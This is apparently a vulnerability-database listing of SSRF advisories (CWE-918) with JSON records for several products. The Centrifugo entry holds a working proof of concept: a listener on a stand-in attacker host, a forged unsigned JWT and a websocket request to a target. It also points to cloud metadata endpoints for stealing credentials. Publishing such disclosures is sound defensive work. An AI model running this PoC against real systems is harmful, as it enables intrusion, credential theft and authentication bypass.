CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4714 vulnerabilities reference this CWE, most recent first.
GHSA-J6MR-CM6X-H6JG
Vulnerability from github – Published: 2022-05-17 02:52 – Updated: 2024-05-14 21:32An SSRF issue was discovered in OpenStack Glance before Newton. The 'copy_from' feature in the Image Service API v1 allowed an attacker to perform masked network port scans. With v1, it is possible to create images with a URL such as 'http://localhost:22'. This could then allow an attacker to enumerate internal network details while appearing masked, since the scan would appear to originate from the Glance Image service.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "glance"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.0a0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-7200"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-14T21:32:12Z",
"nvd_published_at": "2017-03-21T06:59:00Z",
"severity": "MODERATE"
},
"details": "An SSRF issue was discovered in OpenStack Glance before Newton. The \u0027copy_from\u0027 feature in the Image Service API v1 allowed an attacker to perform masked network port scans. With v1, it is possible to create images with a URL such as \u0027http://localhost:22\u0027. This could then allow an attacker to enumerate internal network details while appearing masked, since the scan would appear to originate from the Glance Image service.",
"id": "GHSA-j6mr-cm6x-h6jg",
"modified": "2024-05-14T21:32:12Z",
"published": "2022-05-17T02:52:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7200"
},
{
"type": "WEB",
"url": "https://github.com/openstack/glance/commit/b1ac90f7914d91b25144cc4063fa994fb5019ee3"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ossn/+bug/1153614"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ossn/+bug/1606495"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/glance"
},
{
"type": "WEB",
"url": "https://wiki.openstack.org/wiki/OSSN/OSSN-0078"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96988"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenStack Glance Server-Side Request Forgery (SSRF)"
}
GHSA-J6QX-2X9M-X936
Vulnerability from github – Published: 2026-04-29 00:30 – Updated: 2026-04-29 00:30A weakness has been identified in Xuxueli xxl-job up to 3.3.2. The affected element is the function triggerJob of the file xxl-job-admin/src/main/java/com/xxl/job/admin/service/impl/XxlJobServiceImpl.java of the component trigger Endpoint. This manipulation of the argument addressList causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. There is ongoing doubt regarding the real existence of this vulnerability. The project maintainer explains (translated from Chinese): "Triggers are manually activated and involve login and access control, thus requiring management." The pull request by the researcher got rejected because of that.
{
"affected": [],
"aliases": [
"CVE-2026-7305"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-28T22:16:50Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in Xuxueli xxl-job up to 3.3.2. The affected element is the function triggerJob of the file xxl-job-admin/src/main/java/com/xxl/job/admin/service/impl/XxlJobServiceImpl.java of the component trigger Endpoint. This manipulation of the argument addressList causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. There is ongoing doubt regarding the real existence of this vulnerability. The project maintainer explains (translated from Chinese): \"Triggers are manually activated and involve login and access control, thus requiring management.\" The pull request by the researcher got rejected because of that.",
"id": "GHSA-j6qx-2x9m-x936",
"modified": "2026-04-29T00:30:23Z",
"published": "2026-04-29T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7305"
},
{
"type": "WEB",
"url": "https://github.com/xuxueli/xxl-job/issues/3935"
},
{
"type": "WEB",
"url": "https://github.com/xuxueli/xxl-job/pull/3937"
},
{
"type": "WEB",
"url": "https://github.com/xuxueli/xxl-job"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/803076"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359960"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359960/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J77H-RR39-C552
Vulnerability from github – Published: 2026-03-13 20:03 – Updated: 2026-03-27 21:15Summary
Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.
Details
In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations:
1. Token is parsed without verification: jwt.ParseNoVerify([]byte(t))
2. Claims are decoded from the unverified token
3. validateClaims() runs — extracting named regex capture groups from
issuer_regex/audience_regex into tokenVars map using attacker-controlled
iss/aud claim values
4. verifySignatureByJWK(token, tokenVars) is called — passing attacker-controlled
tokenVars to the JWKS manager
5. In internal/jwks/manager.go, fetchKey() interpolates tokenVars directly
into the JWKS URL:
jwkURL := m.url.ExecuteString(tokenVars)
6. Centrifugo makes an HTTP GET request to the attacker-controlled URL
Suppressed the security linter on this line with an incorrect comment:
//nolint:gosec // URL is from server configuration, not user input.
The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.
Signature verification happens too late — after the SSRF has already fired.
PoC
Required config (config.json):
{
"client": {
"token": {
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
"issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
}
},
"http_api": { "key": "test-api-key" }
}
Step 1 — Start listener on attacker machine:
nc -lvnp 8888
Step 2 — Generate malicious unsigned JWT:
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
Step 3 — Connect to Centrifugo WebSocket with the malicious token:
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
Step 4 — Observe incoming HTTP request on attacker listener:
GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1
Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:
Centrifugo Server Log:
netcat terminal:
Impact
- Unauthenticated SSRF — No valid credentials required
- Attacker can probe and access internal network services not exposed externally
- On cloud deployments: access to metadata endpoints (AWS:
169.254.169.254, GCP:metadata.google.internal) to steal IAM credentials - Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to full authentication bypass
- Exploitation requires
jwks_public_endpointto contain{{...}}template variables combined withissuer_regexoraudience_regex— a configuration pattern explicitly documented and promoted by Centrifugo
Suggested Fix
1. Verify signature BEFORE extracting tokenVars (critical fix):
In token_verifier_jwt.go, swap the order of operations:
// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars) ← too late
// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token) ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only
2. Fix the incorrect nolint comment in manager.go:
Remove //nolint:gosec // URL is from server configuration, not user input The URL IS partially constructed from user input via JWT claims.
3. Alternative mitigation:
Restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.
```
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/centrifugal/centrifugo/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/centrifugal/centrifugo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/centrifugal/centrifugo/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/centrifugal/centrifugo/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/centrifugal/centrifugo/v5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.4.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32301"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:03:22Z",
"nvd_published_at": "2026-03-13T19:54:41Z",
"severity": "CRITICAL"
},
"details": "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs \u2014 extracting named regex capture groups from \n `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called \u2014 passing attacker-controlled \n `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n into the JWKS URL:\n `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration \u2014 it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late \u2014 after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n \"client\": {\n \"token\": {\n \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n }\n },\n \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** \u2014 Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** \u2014 Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b\u0027=\u0027).decode()\n\nheader = b\u0027{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}\u0027\npayload = b\u0027{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}\u0027\ntoken = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** \u2014 Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** \u2014 Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n\n\nCentrifugo Server Log:\n\n\nnetcat terminal:\n\n\n### Impact\n- **Unauthenticated SSRF** \u2014 No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate \u2014 leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` \u2014 a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() \u2192 populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars) \u2190 too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token) \u2190 verify first with empty/nil tokenVars\n// 3. validateClaims() \u2192 only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```",
"id": "GHSA-j77h-rr39-c552",
"modified": "2026-03-27T21:15:59Z",
"published": "2026-03-13T20:03:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-j77h-rr39-c552"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32301"
},
{
"type": "PACKAGE",
"url": "https://github.com/centrifugal/centrifugo"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL"
}
GHSA-J7X8-MFH6-8XFX
Vulnerability from github – Published: 2024-10-26 00:32 – Updated: 2024-10-29 21:30An issue was discovered in mipjz 5.0.5. In the push method of app\tag\controller\ApiAdminTag.php the value of the postAddress parameter is not processed and is directly passed into curl_exec execution and output, resulting in Server-side request forgery (SSRF) vulnerability that can read server files.
{
"affected": [],
"aliases": [
"CVE-2024-48234"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-25T22:15:02Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in mipjz 5.0.5. In the push method of app\\tag\\controller\\ApiAdminTag.php the value of the postAddress parameter is not processed and is directly passed into curl_exec execution and output, resulting in Server-side request forgery (SSRF) vulnerability that can read server files.",
"id": "GHSA-j7x8-mfh6-8xfx",
"modified": "2024-10-29T21:30:48Z",
"published": "2024-10-26T00:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48234"
},
{
"type": "WEB",
"url": "https://github.com/sansanyun/mipjz/issues/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J845-R3RF-7RV4
Vulnerability from github – Published: 2022-05-14 03:07 – Updated: 2022-05-14 03:07Trovebox version <= 4.0.0-rc6 contains a Server-Side request forgery vulnerability in webhook component that can result in read or update internal resources. This attack appear to be exploitable via HTTP request. This vulnerability appears to have been fixed in after commit 742b8ed.
{
"affected": [],
"aliases": [
"CVE-2018-1000553"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-26T16:29:00Z",
"severity": "HIGH"
},
"details": "Trovebox version \u003c= 4.0.0-rc6 contains a Server-Side request forgery vulnerability in webhook component that can result in read or update internal resources. This attack appear to be exploitable via HTTP request. This vulnerability appears to have been fixed in after commit 742b8ed.",
"id": "GHSA-j845-r3rf-7rv4",
"modified": "2022-05-14T03:07:03Z",
"published": "2022-05-14T03:07:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000553"
},
{
"type": "WEB",
"url": "https://telekomsecurity.github.io/2018/04/trovebox-vulnerabilities.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J8JW-W4G4-Q965
Vulnerability from github – Published: 2024-03-01 09:31 – Updated: 2026-04-01 18:31Server-Side Request Forgery (SSRF) vulnerability in sirv.Com Image Optimizer, Resizer and CDN – Sirv.This issue affects Image Optimizer, Resizer and CDN – Sirv: from n/a through 7.2.0.
{
"affected": [],
"aliases": [
"CVE-2024-27949"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-01T08:15:38Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in sirv.Com Image Optimizer, Resizer and CDN \u2013 Sirv.This issue affects Image Optimizer, Resizer and CDN \u2013 Sirv: from n/a through 7.2.0.",
"id": "GHSA-j8jw-w4g4-q965",
"modified": "2026-04-01T18:31:42Z",
"published": "2024-03-01T09:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27949"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/sirv/vulnerability/wordpress-sirv-plugin-7-2-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/sirv/wordpress-sirv-plugin-7-2-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J8W6-2R9H-CXHJ
Vulnerability from github – Published: 2023-12-15 04:02 – Updated: 2024-11-22 18:15Impact
Issue: Arbitrary file write in file.py (GHSL-2023-183)
Patches
Use mindsdb staging branch or v23.11.4.1
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 23.7.4.1"
},
"package": {
"ecosystem": "PyPI",
"name": "mindsdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "23.11.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-50731"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-15T04:02:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nIssue: Arbitrary file write in file.py (GHSL-2023-183)\n\n### Patches\n\nUse mindsdb staging branch or v23.11.4.1",
"id": "GHSA-j8w6-2r9h-cxhj",
"modified": "2024-11-22T18:15:01Z",
"published": "2023-12-15T04:02:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-j8w6-2r9h-cxhj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50731"
},
{
"type": "PACKAGE",
"url": "https://github.com/mindsdb/mindsdb"
},
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/blob/1821da719f34c022890c9ff25810218e71c5abbc/mindsdb/api/http/namespaces/file.py#L122-L125"
},
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/blob/1821da719f34c022890c9ff25810218e71c5abbc/mindsdb/api/http/namespaces/file.py#L138"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2023-279.yaml"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2023-182_GHSL-2023-184_mindsdb_mindsdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitHub Security Lab (GHSL) Vulnerability Report: Arbitary write GHSL-2023-182 "
}
GHSA-J94R-GH6R-5XFH
Vulnerability from github – Published: 2024-04-02 21:30 – Updated: 2026-04-28 21:34Server-Side Request Forgery (SSRF) vulnerability in Builderall Team Builderall Builder for WordPress.This issue affects Builderall Builder for WordPress: from n/a through 2.0.1.
{
"affected": [],
"aliases": [
"CVE-2024-30532"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-02T19:15:47Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Builderall Team Builderall Builder for WordPress.This issue affects Builderall Builder for WordPress: from n/a through 2.0.1.",
"id": "GHSA-j94r-gh6r-5xfh",
"modified": "2026-04-28T21:34:31Z",
"published": "2024-04-02T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30532"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/builderall-cheetah-for-wp/wordpress-builderall-builder-for-wordpress-plugin-2-0-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J94X-8WCP-X7HM
Vulnerability from github – Published: 2026-03-16 20:47 – Updated: 2026-03-20 21:18Summary
Kargo's built-in http and http-download promotion steps execute outbound HTTP requests from the Kargo controller. By design, these steps do not restrict destination addresses, as there are legitimate use cases for requests to internal and private endpoints. However, this also permits requests to link-local addresses, for which there are no known, legitimate use cases. Of particular concern is the cloud instance metadata endpoint (often 169.254.169.254), which is unauthenticated and can expose sensitive configuration data including IAM credentials. While cloud providers typically implement header-based SSRF mitigations for these endpoints, the http step provides full control over request method and headers, rendering these protections ineffective. The http-download step provides control over headers only (not method), but this is still sufficient for exfiltrating data from metadata endpoints.
There are two vectors for exploitation. A user with permission to create or update a Stage can configure its promotion template to include malicious http or http-download steps. Alternatively, a user with promote permission on any Stage can craft a Promotion resource directly. In either case, the controller executes the steps in-cluster, and response data can be inserted into Promotion status fields, written to a Git repository, or sent to a remote location using a second instance of the http step.
The remediation for this issue is the introduction of a safe HTTP transport that refuses to dial link-local addresses. Requests to private and internal addresses will continue to be permitted, as this is by design. It is the responsibility of services at such addresses to implement proper authentication and authorization, and/or the responsibility of platform teams to define and enforce network policies that restrict traffic appropriately.
Base Metrics
The following sections provide the rationale for the values selected for each of CVSS v4's base metrics.
Attack Vector (AV): Network
The Kargo API server is accessible over HTTP/HTTPS. No local, adjacent network, or physical access is required.
Attack Complexity (AC): Low
Exploitation requires only a crafted Promotion manifest submitted via the Kargo API. No race conditions, non-default configurations, or prior information gathering is required.
Attack Requirements (AT): None
No specific environmental conditions are required beyond a standard Kargo deployment. The http and http-download built-in steps are always available.
Privileges Required (PR): High
The attacker must be authenticated to the Kargo API server and hold permissions sufficient to create or update a Stage, or to craft a Promotion resource directly. Although these may not be considered administrative permissions, they are non-trivial, not granted broadly by default, and must be explicitly assigned by a project administrator.
User Interaction (UI): None
The attack is fully automated via API calls. No other user needs to take any action. The controller processes the malicious Promotion without human intervention.
Confidentiality Impact to Vulnerable System (VC): None
Kargo itself does not expose its own secrets or configuration data through this vulnerability. The impact is to other systems reachable from the controller's network position, not to Kargo's own data.
Integrity Impact to Vulnerable System (VI): None
Kargo's own data and configuration are not modified by this vulnerability. While malicious Promotion resources are created, they function within Kargo's normal processing pipeline.
Availability Impact to Vulnerable System (VA): None
This vulnerability does not enable denial of service against Kargo. Each Promotion executes a bounded set of HTTP requests and does not consume disproportionate resources.
Confidentiality Impact to Subsequent Systems (SC): Low
The controller runs in-cluster and can reach link-local addresses, including cloud instance metadata endpoints. These endpoints are unauthenticated and can expose sensitive data such as IAM credentials. Provider-side header-based SSRF mitigations are ineffective because these steps provide full control over request headers.
Integrity Impact to Subsequent Systems (SI): None
Cloud instance metadata endpoints are read-only. While the http step supports arbitrary HTTP methods, the only unintended access enabled by this vulnerability is to link-local addresses, and these do not accept state-changing requests.
Availability Impact to Subsequent Systems (SA): None
A single HTTP request per promotion step does not constitute a meaningful denial-of-service vector against subsequent systems. There is no amplification mechanism.
Mitigating Factors
-
Exploitation requires authentication to the Kargo API server with permissions to create or update Stages, or to craft Promotion resources directly. These permissions must be explicitly granted by a project administrator.
-
All Promotion creation is audited. The creating user's identity is recorded in annotations and Kubernetes events, providing a clear forensic trail.
-
The practical impact is limited to cloud instance metadata endpoints. Access to private and internal addresses is by design, and services at those addresses are expected to implement their own authentication and authorization.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-rc.1"
},
{
"fixed": "1.7.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.1"
},
{
"fixed": "1.8.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0-rc.1"
},
{
"fixed": "1.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32828"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T20:47:47Z",
"nvd_published_at": "2026-03-20T01:15:56Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nKargo\u0027s built-in `http` and `http-download` promotion steps execute outbound HTTP requests from the Kargo controller. By design, these steps do not restrict destination addresses, as there are legitimate use cases for requests to internal and private endpoints. However, this also permits requests to link-local addresses, for which there are no known, legitimate use cases. Of particular concern is the cloud instance metadata endpoint (often `169.254.169.254`), which is unauthenticated and can expose sensitive configuration data including IAM credentials. While cloud providers typically implement header-based SSRF mitigations for these endpoints, the `http` step provides full control over request method and headers, rendering these protections ineffective. The `http-download` step provides control over headers only (not method), but this is still sufficient for exfiltrating data from metadata endpoints.\n\nThere are two vectors for exploitation. A user with permission to create or update a Stage can configure its promotion template to include malicious `http` or `http-download` steps. Alternatively, a user with `promote` permission on any Stage can craft a Promotion resource directly. In either case, the controller executes the steps in-cluster, and response data can be inserted into Promotion status fields, written to a Git repository, or sent to a remote location using a second instance of the `http` step.\n\nThe remediation for this issue is the introduction of a safe HTTP transport that refuses to dial link-local addresses. Requests to private and internal addresses will continue to be permitted, as this is by design. It is the responsibility of services at such addresses to implement proper authentication and authorization, and/or the responsibility of platform teams to define and enforce network policies that restrict traffic appropriately.\n\n### Base Metrics\n ---\nThe following sections provide the rationale for the values selected for each of CVSS v4\u0027s base metrics.\n\n### Attack Vector (AV): Network\nThe Kargo API server is accessible over HTTP/HTTPS. No local, adjacent network, or physical access is required.\n\n### Attack Complexity (AC): Low\nExploitation requires only a crafted Promotion manifest submitted via the Kargo API. No race conditions, non-default configurations, or prior information gathering is required.\n\n### Attack Requirements (AT): None\nNo specific environmental conditions are required beyond a standard Kargo deployment. The http and http-download built-in steps are always available.\n\n### Privileges Required (PR): High\nThe attacker must be authenticated to the Kargo API server and hold permissions sufficient to create or update a Stage, or to craft a Promotion resource directly. Although these may not be considered administrative permissions, they are non-trivial, not granted broadly by default, and must be explicitly assigned by a project administrator.\n\n### User Interaction (UI): None\nThe attack is fully automated via API calls. No other user needs to take any action. The controller processes the malicious Promotion without human intervention.\n\n### Confidentiality Impact to Vulnerable System (VC): None\nKargo itself does not expose its own secrets or configuration data through this vulnerability. The impact is to other systems reachable from the controller\u0027s network position, not to Kargo\u0027s own data.\n\n### Integrity Impact to Vulnerable System (VI): None\nKargo\u0027s own data and configuration are not modified by 